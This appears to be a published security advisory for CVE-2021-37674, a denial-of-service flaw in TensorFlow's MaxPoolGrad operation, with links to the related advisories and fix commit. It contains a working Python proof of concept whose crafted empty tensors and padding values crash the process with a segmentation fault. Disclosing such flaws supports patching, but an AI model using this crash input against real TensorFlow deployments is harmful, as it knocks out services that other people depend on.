CVE-2021-37674: Incomplete validation in `MaxPoolGrad`
(updated )
An attacker can trigger a denial of service via a segmentation fault in tf.raw_ops.MaxPoolGrad caused by missing validation:
import tensorflow as tf
tf.raw_ops.MaxPoolGrad(
orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
ksize = [1, 16, 16, 1],
strides = [1, 16, 18, 1],
padding = "EXPLICIT",
explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0])
References
- github.com/advisories/GHSA-7ghq-fvr3-pj2x
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-587.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-785.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-296.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-068.md
- github.com/tensorflow/tensorflow/commit/136b51f10903e044308cf77117c0ed9871350475
- github.com/tensorflow/tensorflow/security/advisories/GHSA-7ghq-fvr3-pj2x
- nvd.nist.gov/vuln/detail/CVE-2021-37674
Code Behaviors & Features
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